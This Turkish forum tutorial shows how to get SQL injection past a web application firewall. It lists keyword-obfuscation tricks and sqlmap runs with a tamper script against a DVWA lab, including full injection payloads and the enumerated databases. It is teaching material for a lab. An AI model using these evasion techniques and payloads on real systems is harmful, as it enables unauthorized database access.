- 17 Mar 2016
- 629
- 1
SQLmap'da SQL İnjection Saldırısında WAF Bypass Yöntemi ;
Merhaba arkadaşlar bugün ki konumda SQL injection'da WAF bypass yönteminden bahsedeceğim.
Hedef sistemde SQL Injection güvenlik açığı tespit edilse bile normal şartlarda sql komutları işlem görmüyorsa bile arkadaşlar büyük ihtimalle
şunu duşuneceğiz arka planda WAF (Web Application Firewall) tarafından görülüp engelleniyor diyebililiriz.
SQL İnjection saldırılarında birçok çeşitli yöntemler vardır. Mesela;
Büyük harf küçük harfleri karıştırmak "UnİoN SeLecT" gibisinden, Harfleri parçalamak gibi "FRfromOM,WHwhereERE", "/*!union*/","/*!50000union*/" vs. vs . arkadaşlar
Birçok farklı farklı yöntemler mevcutur..
SQLmap'ın WAF,IPS gibi saldırıları engelleme sistemlerini bypass etmek için "tamper scripti" özelliği bulunmaktadır.
Şimdi arkadaşlar bir örnek yer göstereceğim bu yer SQLmap içeriğini göstermektedir ;
Görüldüğü gibi hedef sistemde "UNION" komutu geçtiğinde istekleri engelleyen bir yapı bulunmaktadır.
Şimdi ise bir de SQLmap'i "--tamper" fonksiyonuyla birlikte kullanalım ;
Gördüğünüz gibi arkadaşlar sistemdeki WAF (Web application Firewall) bypass edip db'ye ulaşıyoruz.
SQLmap'in yüklü olduğu dizinde "tamper" isimli klasörde çeşitli bypass scriptleri bulunmaktadır. Biz yukardaki testte "tamper" klasörünün
içinde "randomcase.py" scriptinden faydalandık. Bu scriptin görevi UNION gibi sql komutlarını rastgele büyük-küçük harf şeklinde düzenleyerek karşı
sisteme yollar ve WAF var ise bypass etmiş olur.
Bu konumda bu kadar arkadaşlar. Selametle kalın görüşmek üzere..
Merhaba arkadaşlar bugün ki konumda SQL injection'da WAF bypass yönteminden bahsedeceğim.
Hedef sistemde SQL Injection güvenlik açığı tespit edilse bile normal şartlarda sql komutları işlem görmüyorsa bile arkadaşlar büyük ihtimalle
şunu duşuneceğiz arka planda WAF (Web Application Firewall) tarafından görülüp engelleniyor diyebililiriz.
SQL İnjection saldırılarında birçok çeşitli yöntemler vardır. Mesela;
Büyük harf küçük harfleri karıştırmak "UnİoN SeLecT" gibisinden, Harfleri parçalamak gibi "FRfromOM,WHwhereERE", "/*!union*/","/*!50000union*/" vs. vs . arkadaşlar
Birçok farklı farklı yöntemler mevcutur..
SQLmap'ın WAF,IPS gibi saldırıları engelleme sistemlerini bypass etmek için "tamper scripti" özelliği bulunmaktadır.
Şimdi arkadaşlar bir örnek yer göstereceğim bu yer SQLmap içeriğini göstermektedir ;
Kod:
[COLOR="darkred"]root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --dbs
sqlmap/1.0-dev-dea6218 - automatic SQL injection and database takeover tool
[url=http://sqlmap.org]sqlmap: automatic SQL injection and database takeover tool[/url]
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:39:43
[15:39:43] [INFO] testing connection to the target url
[15:39:43] [INFO] heuristics detected web page charset 'ascii'
[15:39:43] [WARNING] reflective value(s) found and filtering out
[15:39:43] [INFO] heuristic (parsing) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[15:39:43] [INFO] testing for SQL injection on GET parameter 'id'
[15:39:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:39:43] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:44] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:45] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:46] [CRITICAL] unable to connect to the target url or proxy
[15:39:46] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:47] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:48] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[/COLOR]
Şimdi ise bir de SQLmap'i "--tamper" fonksiyonuyla birlikte kullanalım ;
Kod:
[COLOR="darkred"]sqlmap.py -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --tamper "tamper/randomcase.py" --dbs
*] starting at 16:16:24
[16:16:24] [INFO] loading tamper script 'randomcase'
[16:16:24] [INFO] testing connection to the target url
[16:16:25] [INFO] testing if the url is stable, wait a few seconds
[16:16:26] [INFO] url is stable
[16:16:26] [INFO] testing if GET parameter 'id' is dynamic
[16:16:26] [WARNING] GET parameter 'id' appears to be not dynamic
[16:16:26] [INFO] heuristics detected web page charset 'ascii'
[16:16:26] [WARNING] reflective value(s) found and filtering out
[16:16:26] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
[16:16:26] [INFO] testing for SQL injection on GET parameter 'id'
[16:16:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='Surname: admin')
[16:16:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[16:16:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:16:26] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[16:16:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:16:37] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[16:16:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:16:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[16:16:37] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:16:37] [INFO] target url appears to have 2 columns in query
[16:16:37] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 19 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3106=3106&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=1 AND (SELECT 2385 FROM(SELECT COUNT(*),CONCAT(0x3a72796b3a,(SELECT (CASE WHEN (2385=2385) THEN 1 ELSE 0 END)),0x3a6b6e693a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a72796b3a,0x4f676a51626745675562,0x3a6b6e693a), NULL#&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(5)&Submit=Submit
---
[16:16:41] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[16:16:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0
[16:16:41] [INFO] fetching database names
available databases [7]:
[*] beyazsapka
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test
[*] yenibir_siparis[/COLOR]
[COLOR="darkred"][16:16:41] [INFO] fetched data logged to text files under
'/pentest/database/sqlmap/output/192.168.1.127'
[*] shutting down at 16:16:41[/COLOR]
SQLmap'in yüklü olduğu dizinde "tamper" isimli klasörde çeşitli bypass scriptleri bulunmaktadır. Biz yukardaki testte "tamper" klasörünün
içinde "randomcase.py" scriptinden faydalandık. Bu scriptin görevi UNION gibi sql komutlarını rastgele büyük-küçük harf şeklinde düzenleyerek karşı
sisteme yollar ve WAF var ise bypass etmiş olur.
Bu konumda bu kadar arkadaşlar. Selametle kalın görüşmek üzere..
Son düzenleme: